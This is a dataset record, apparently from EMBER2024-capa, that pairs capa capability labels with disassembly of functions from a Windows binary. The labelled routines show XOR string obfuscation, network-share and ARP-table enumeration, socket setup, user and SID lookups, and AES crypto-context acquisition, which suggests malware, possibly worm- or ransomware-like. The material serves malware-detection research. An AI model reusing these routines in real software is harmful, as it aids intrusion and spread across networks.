joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406cd6
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 7
jb 0x406cd8
mov byte [ecx + 7], 0
mov eax, ecx
ret

Function at 0x406ce9
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xb
jb 0x406ceb
mov byte [ecx + 0xb], 0
mov eax, ecx
ret

Function at 0x406cfc
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xf
jb 0x406cfe
mov byte [ecx + 0xf], 0
mov eax, ecx
ret

Function at 0x406dc4
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x406e2d
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 0x14], 0x25a207b9
push eax
push 4
push 0x4132d4
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0x4660ddf3
push eax
push 0xc8000006
push esi
mov dword [ebp - 0xc], 0xe576e98e
mov dword [ebp - 8], 0x3e06748c
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x406e2d
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jne 0x406e2d
inc eax
jmp 0x406e2f
xor eax, eax
pop esi
leave
ret
Function at 0x406e32
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetIpNetTable]
lea eax, [ebp - 8]
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ecx
push ebx
push eax
push ebx
mov dword [ebp - 8], ebx
call esi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x406fe2
call fcn.00406d0f
mov edi, eax
test edi, edi
je 0x406fe2
push ebx
lea eax, [ebp - 8]
push eax
push edi
call esi
test eax, eax
jne 0x406fd7
mov dword [ebp - 0x14], ebx
cmp dword [edi], ebx
jbe 0x406fd4
lea eax, [edi + 0x14]
mov dword [ebp - 0x18], eax
mov edx, dword [eax]
lea eax, [ebp - 0x6c]
push 0x2c
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
pop ecx
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x406e9a
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x31], 0x7b676264
mov ecx, ebx
mov byte [ebp - 0x2d], bl
xor byte [ebp + ecx - 0x31], 0x55
inc ecx
cmp ecx, 4
jb 0x406ebd
lea eax, [ebp - 0x31]
mov byte [ebp - 0x2d], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x1c], eax
mov eax, ebx
mov dword [ebp - 0x3f], 0x7b676c64
mov dword [ebp - 0x3b], 0x7b6d6364
mov byte [ebp - 0x37], bl
xor byte [ebp + eax - 0x3f], 0x55
inc eax
cmp eax, 8
jb 0x406eec
lea eax, [ebp - 0x3f]
mov byte [ebp - 0x37], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x20], eax
mov ecx, ebx
mov dword [ebp - 4], 0x7b6564
xor byte [ebp + ecx - 4], 0x55
inc ecx
cmp ecx, 3
jb 0x406f11
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x24], eax
mov ecx, ebx
mov dword [ebp - 0x36], 0x7b6c6364
mov byte [ebp - 0x32], bl
xor byte [ebp + ecx - 0x36], 0x55
inc ecx
cmp ecx, 4
jb 0x406f39
lea eax, [ebp - 0x36]
mov byte [ebp - 0x32], bl
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
cmp dword [ebp - 0x1c], esi
je 0x406f65
cmp dword [ebp - 0x20], esi
je 0x406f65
cmp dword [ebp - 0x24], esi
je 0x406f65
cmp eax, esi
jne 0x406fbc
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
jmp 0x406f83
movzx eax, word [ecx]
lea edx, [ebp - 0x28]
cmp ax, word [edx]
jne 0x406f80
movzx eax, byte [ecx + 2]
cmp al, byte [edx + 2]
je 0x406fbc
mov ecx, dword [ecx + 4]
test ecx, ecx
jne 0x406f6c
mov eax, dword [ebp - 0x2c]
push 0xc
mov dword [ebp - 0x10], eax
pop ecx
mov byte [ebp - 0xd], bl
call fcn.00406d0f
mov esi, eax
test esi, esi
je 0x406fd4
mov eax, dword [ebp - 0xc]
lea edx, [esi + 4]
mov ecx, dword [ebp - 0x10]
mov dword [esi], ecx
mov dword [edx], ebx
mov ecx, dword [eax + 4]
mov dword [esi + 8], ecx
mov eax, dword [eax + 4]
mov dword [eax], esi
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
inc edx
add eax, 0x18
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], eax
cmp edx, dword [edi]
jb 0x406e8c
xor ebx, ebx
inc ebx
mov ecx, edi
call fcn.00406db4
mov eax, ebx
jmp 0x406fe4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406fe9
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x24], 2
xorps xmm0, xmm0
mov dword [ebp - 0x20], 1
xor esi, esi
movlpd qword [ebp - 0x18], xmm0
and dword [ebp - 4], esi
and dword [ebp - 0x28], esi
push ebx
movlpd qword [ebp - 0x10], xmm0
mov dword [ebp - 0x1c], 6
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
mov ecx, eax
mov dword [ebp - 8], eax
call fcn.00406d0f
mov edi, eax
test edi, edi
je 0x407098
push esi
push esi
push dword [ebp - 8]
push edi
push 0xffffffffffffffff
push ebx
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x407098
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x407098
push 0x2e
pop ecx
mov dword [ebp - 8], 0x17
call fcn.00406d0f
mov esi, eax
test esi, esi
je 0x407098
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push esi
push ebx
push dword [ecx + 0x10]
push dword [ecx + 0x18]
call dword [sym.imp.WS2_32.dll_WSAAddressToStringW]
test eax, eax
je 0x407098
mov ecx, esi
call fcn.00406db4
mov esi, ebx
cmp dword [ebp - 4], 0
je 0x4070a7
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test edi, edi
je 0x4070b2
mov ecx, edi
call fcn.00406db4
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x4071da
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [0x4132dc]
test edi, edi
jne 0x4071f2
xor eax, eax
jmp 0x4072e4
mov eax, dword [edi]
push ebx
push esi
mov dword [ebp - 4], eax
xor bl, bl
push 0x28
push 0x40
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4072bc
mov eax, dword [ebp - 4]
push 2
mov dword [esi + 0x18], eax
pop eax
push 1
push 0
push 0
push 6
push 1
push eax
mov byte [esi + 0x1c], al
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x407240
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x4072b1
push 0x10
pop ecx
lea eax, [ebp - 0x14]
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x407246
push 2
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
and dword [ebp - 0x10], eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x40727d
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x407237
push 0
push 2
pop eax
push eax
push dword [0x4132d8]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x407272
lea ecx, [esi + 0x20]
and dword [ecx], 0
mov eax, dword [0x41329c]
mov dword [esi + 0x24], eax
mov eax, dword [0x41329c]
mov dword [eax], esi
mov dword [0x41329c], ecx
inc bl
cmp bl, 0xff
jb 0x4071fb
mov ecx, dword [edi + 4]
mov eax, dword [edi + 8]
test ecx, ecx
je 0x4072cb
mov dword [ecx + 8], eax
jmp 0x4072d0
mov dword [0x4132e0], eax
mov esi, dword [edi + 8]
mov ecx, edi
mov edx, dword [edi + 4]
mov dword [esi], edx
call fcn.00406db4
xor eax, eax
pop esi
inc eax
pop ebx
pop edi
leave
ret
Function at 0x4075db
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x41350c], 0
push ebx
push esi
push edi
jne 0x407714
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 8], 0x4000
push 0x13
push ebx
push 2
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x407714
mov ecx, dword [ebp - 8]
call fcn.00406d0f
mov edi, eax
test edi, edi
je 0x40770b
jmp 0x4076ea
cmp dword [ebp - 4], 0
mov dword [ebp - 0x10], ebx
jbe 0x4076ea
lea esi, [edi + 0x14]
test byte [esi - 8], 2
je 0x40769d
push 0x4132f8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x407669
mov eax, dword [esi]
push 0x4132f8
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4076d7
mov ecx, dword [esi]
add ecx, 4
call fcn.00406fe9
mov ebx, eax
test ebx, ebx
je 0x407689
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, ebx
call fcn.00406db4
mov ecx, dword [esi]
call fcn.004077fb
lea eax, [esi - 0x14]
push eax
call fcn.004075db
xor ebx, ebx
jmp 0x4076d7
mov edx, dword [esi]
mov ecx, dword [0x413514]
push 1
push ebx
push 4
call fcn.00407fd3
add esp, 0xc
test eax, eax
je 0x4076d7
mov dword [ebp + 8], 0x555565
mov eax, ebx
xor byte [ebp + eax + 8], 0x55
inc eax
cmp eax, 3
jb 0x4076bf
mov edx, dword [esi]
lea ecx, [ebp + 8]
mov byte [ebp + 0xb], bl
call fcn.0040d8cf
mov eax, dword [ebp - 0x10]
add esi, 0x20
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 4]
jb 0x40763f
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x40762f
mov ecx, edi
call fcn.00406db4
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x4077fb
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
xor eax, eax
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x14], ebx
mov edi, 0x4132bc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x407858
cmp esi, 0xea
je 0x40781c
jmp 0x4079ca
mov esi, dword [ebp - 0x10]
xor ebx, ebx
inc ebx
cmp dword [ebp - 0xc], ebx
jb 0x4079c3
mov eax, dword [esi + 4]
test eax, eax
je 0x407880
cmp eax, 0x80000000
je 0x407880
cmp eax, 0x40000000
jne 0x4079b3
mov dword [ebp - 0x36], 0x55115514
xor eax, eax
mov dword [ebp - 0x32], 0x551c5518
mov dword [ebp - 0x2e], 0x5571551b
mov word [ebp - 0x2a], 0x55
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0xd
jb 0x40789d
lea eax, [ebp - 0x36]
mov byte [ebp - 0x29], 0
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4079b3
mov ecx, 0x10000
call fcn.00406d0f
mov edi, eax
test edi, edi
je 0x4079b3
push 0x4018e0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x22], 0x55095509
xor eax, eax
mov word [ebp - 0x1e], 0x55
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 5
jb 0x4078ef
push 2
lea eax, [ebp - 0x22]
mov byte [ebp - 0x1d], 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
je 0x40793a
mov dword [ebp - 0x28], 0x55095509
xor eax, eax
mov word [ebp - 0x24], 0x55
xor byte [ebp + eax - 0x28], 0x55
inc eax
cmp eax, 5
jb 0x407920
lea eax, [ebp - 0x28]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 4], 0x555509
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40794d
lea eax, [ebp - 4]
mov byte [ebp - 1], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [0x413514]
mov edx, edi
push 1
push 0
push 4
call fcn.00407fd3
add esp, 0xc
test eax, eax
je 0x4079ac
mov dword [ebp - 8], 0x555565
xor eax, eax
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 3
jb 0x407993
mov edx, edi
mov byte [ebp - 5], 0
lea ecx, [ebp - 8]
call fcn.0040d8cf
mov ecx, edi
call fcn.00406db4
add esi, 0xc
inc ebx
cmp ebx, dword [ebp - 0xc]
jbe 0x407867
mov esi, dword [ebp - 0x10]
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4079e1
Capabilities:
Create thread

Disassembly:
cmp dword [0x4132f4], 0
jne 0x407a10
xor ecx, ecx
xor edx, edx
inc ecx
call fcn.0040d807
xor eax, eax
push eax
push eax
push eax
push fcn.004075db
push eax
push eax
mov dword [0x41350c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4132f4], eax
ret
Function at 0x407a11
Capabilities:
Create thread

Disassembly:
cmp dword [0x4132f0], 0
jne 0x407a38
test ecx, ecx
je 0x407a31
xor eax, eax
push eax
push eax
push eax
push fcn.0040771d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
push 0
call fcn.0040771d
ret

Function at 0x407a39
Capabilities:
Create thread
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
cmp dword [0x413510], 0
jne 0x407ba3
cmp dword [0x4132a0], 0
jne 0x407ba3
cmp dword [0x4132d8], 0
jne 0x407ba3
push ebx
xor ebx, ebx
push esi
mov dword [0x413508], ebx
call fcn.00406dc4
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x407b5c
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x407aaf
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [0x4132ec], eax
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x4132d8], eax
test eax, eax
je 0x407b77
push 0x4132a4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, 0x4132dc
mov dword [0x4132dc], ebx
mov dword [0x4132e0], ecx
mov dword [0x4132e4], ebx
mov dword [0x4132e8], 0x4132e4
mov dword [0x413298], ebx
mov dword [0x41329c], 0x413298
call fcn.00406e32
test eax, eax
je 0x407b5c
push ebx
push ebx
push ebx
push 0x4070b9
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4132a0], eax
cmp eax, 0xffffffff
je 0x407b5c
push ebx
push ebx
push ebx
push 0x407383
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x413510], eax
cmp eax, 0xffffffff
je 0x407b5c
push ebx
push 1
push ebx
push dword [0x4132d8]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 2
xor edx, edx
pop ecx
call fcn.0040d807
jmp 0x407ba1
cmp dword [0x4132d8], ebx
je 0x407b77
push 0x4132a4
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push dword [0x4132d8]
call esi
mov eax, dword [0x4132a0]
test eax, eax
je 0x407b83
push eax
call esi
mov eax, dword [0x413510]
test eax, eax
je 0x407b8f
push eax
call esi
mov dword [0x413510], ebx
mov dword [0x4132a0], ebx
mov dword [0x4132d8], ebx
pop esi
pop ebx
leave
ret

Function at 0x407bcd
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x4132d8]
test eax, eax
je 0x407be3
push 0
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor ecx, ecx
jmp fcn.00407ba5

Function at 0x407bf6
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xd
jb 0x407bf8
mov byte [ecx + 0xd], 0
mov eax, ecx
ret
Function at 0x407c7d
Capabilities:
Encode data using xor
Get hostname
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa64
movaps xmm0, xmmword [0x401bb0]
movups xmmword [ebp - 0x46], xmm0
push ebx
movaps xmm0, xmmword [0x401a80]
xor ebx, ebx
movups xmmword [ebp - 0x36], xmm0
mov eax, ebx
mov word [ebp - 0x16], 0x55
movaps xmm0, xmmword [0x401d40]
push esi
push edi
movups xmmword [ebp - 0x26], xmm0
xor byte [ebp + eax - 0x46], 0x55
inc eax
cmp eax, 0x31
jb 0x407cb4
xor esi, esi
mov byte [ebp - 0x15], bl
inc esi
lea ecx, [ebp - 0x46]
mov edx, esi
call fcn.00407c09
test eax, eax
je 0x407e32
lea eax, [ebp - 8]
mov edi, 0x100
push eax
lea eax, [ebp - 0x860]
mov dword [ebp - 8], edi
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x407e32
mov dword [ebp - 4], 0x555509
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x407d01
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [ebp - 0x860]
lea eax, [ecx + eax*2]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x407e32
mov ecx, edi
call fcn.00406d0f
mov dword [0x413530], eax
test eax, eax
je 0x407e32
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], edi
push ecx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push ecx
lea ecx, [ebp - 0xa60]
push ecx
lea ecx, [ebp - 0x10]
push ecx
push eax
lea eax, [ebp - 0x860]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x407e1d
push esi
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x407e1d
push ebx
push ebx
push esi
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x407e1d
push ebx
push dword [0x413530]
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
test eax, eax
je 0x407e1d
push 0x20
pop ecx
mov eax, 0x413534
mov byte [eax], bl
inc eax
sub ecx, 1
jne 0x407dcd
push dword [0x413530]
push 0x413540
call dword [sym.imp.ADVAPI32.dll_BuildTrusteeWithSidW]
push 0x413518
mov dword [0x413534], 0x10000000
mov dword [0x413538], 2
mov dword [0x41353c], 3
mov dword [0x413548], ebx
mov dword [0x41354c], esi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
jmp 0x407e32
mov ecx, dword [0x413530]
test ecx, ecx
je 0x407e32
call fcn.00406db4
mov dword [0x413530], ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407e37
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
movaps xmm0, xmmword [0x401bb0]
xor eax, eax
movups xmmword [ebp - 0x32], xmm0
mov word [ebp - 2], 0x55
movaps xmm0, xmmword [0x401a80]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401d40]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x31
jb 0x407e66
xor edx, edx
mov byte [ebp - 1], 0
lea ecx, [ebp - 0x32]
call fcn.00407c09
mov ecx, dword [0x413530]
test ecx, ecx
je 0x407ea0
call fcn.00406db4
and dword [0x413530], 0
push 0x413518
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
leave
ret

Function at 0x4080c7
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, dword [0x413778]
push esi
push edi
push ebx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebx + 0x18]
xor edi, edi
mov dword [ebp - 4], edi
test esi, esi
je 0x408200
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0xc], 0x556b5578
xor eax, eax
mov word [ebp - 8], 0x55
xor byte [ebp + eax - 0xc], 0x55
inc eax
cmp eax, 5
jb 0x408105
lea eax, [ebp - 0xc]
mov byte [ebp - 7], 0
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x40812f
xor edi, edi
inc edi
mov dword [ebp - 4], edi
jmp 0x4081f2
cmp dword [esi + 8], 0
jne 0x4081ef
mov eax, dword [ebp + 8]
test dword [esi + 4], eax
je 0x4081ef
push 0x20
pop ecx
call fcn.00406d0f
mov edi, eax
test edi, edi
je 0x4081ef
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 0xa]
call fcn.00406d0f
mov ecx, eax
mov dword [edi], ecx
test ecx, ecx
je 0x4081e8
mov eax, dword [esi]
cmp word [eax + 2], 0x3a
jne 0x4081a6
mov dword [ebp - 0x1a], 0x55095509
xor eax, eax
mov dword [ebp - 0x16], 0x5509556a
mov word [ebp - 0x12], 0x55
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 9
jb 0x408192
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1a]
jmp 0x4081ab
mov eax, 0x4018e0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [esi]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [edi + 0x18]
and dword [ecx], 0
mov eax, dword [ebx + 0x1c]
mov dword [edi + 0x1c], eax
mov eax, dword [ebx + 0x1c]
push ebx
mov dword [eax], edi
mov dword [ebx + 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [esi + 8], 1
jmp 0x4081ef
mov ecx, edi
call fcn.00406db4
mov edi, dword [ebp - 4]
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x4080f6
mov ebx, dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4082a5
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x401a30]
movups xmmword [ebp - 0x36], xmm0
push ebx
movaps xmm0, xmmword [0x4019e0]
xor ebx, ebx
movups xmmword [ebp - 0x26], xmm0
mov eax, ebx
mov dword [ebp - 6], 0x30313c23
movaps xmm0, xmmword [0x401a50]
push esi
movups xmmword [ebp - 0x16], xmm0
mov word [ebp - 2], 0x27
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0x35
jb 0x4082df
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea eax, [ebp - 0x36]
push 0xf0000000
push 0x18
push eax
push ebx
push 0x413558
mov byte [ebp - 1], bl
call esi
test eax, eax
jne 0x40841f
movaps xmm0, xmmword [0x401a30]
mov eax, ebx
movups xmmword [ebp - 0x36], xmm0
mov dword [ebp - 6], 0x30313c23
movaps xmm0, xmmword [0x4019e0]
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 2], 0x27
movaps xmm0, xmmword [0x401a50]
movups xmmword [ebp - 0x16], xmm0
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0x35
jb 0x40833e
push 0xf0000008
push 0x18
lea eax, [ebp - 0x36]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x413558
call esi
test eax, eax
jne 0x40841f
movaps xmm0, xmmword [0x401a30]
mov eax, ebx
movups xmmword [ebp - 0x42], xmm0
mov word [ebp - 2], 0x7c
movaps xmm0, xmmword [0x4019e0]
movups xmmword [ebp - 0x32], xmm0
movaps xmm0, xmmword [0x401a50]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401a10]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x42], 0x55
inc eax
cmp eax, 0x41
jb 0x40839b
push 0xf0000000
push 0x18
lea eax, [ebp - 0x42]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x413558
call esi
test eax, eax
jne 0x40841f
movaps xmm0, xmmword [0x401a30]
mov eax, ebx
movups xmmword [ebp - 0x42], xmm0
mov word [ebp - 2], 0x7c
movaps xmm0, xmmword [0x4019e0]
movups xmmword [ebp - 0x32], xmm0
movaps xmm0, xmmword [0x401a50]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401a10]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x42], 0x55
inc eax
cmp eax, 0x41
jb 0x4083f4
push 0xf0000008
push 0x18
lea eax, [ebp - 0x42]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x413558
call esi
neg eax
sbb eax, eax
and dword [0x413558], eax
pop esi
pop ebx
leave
ret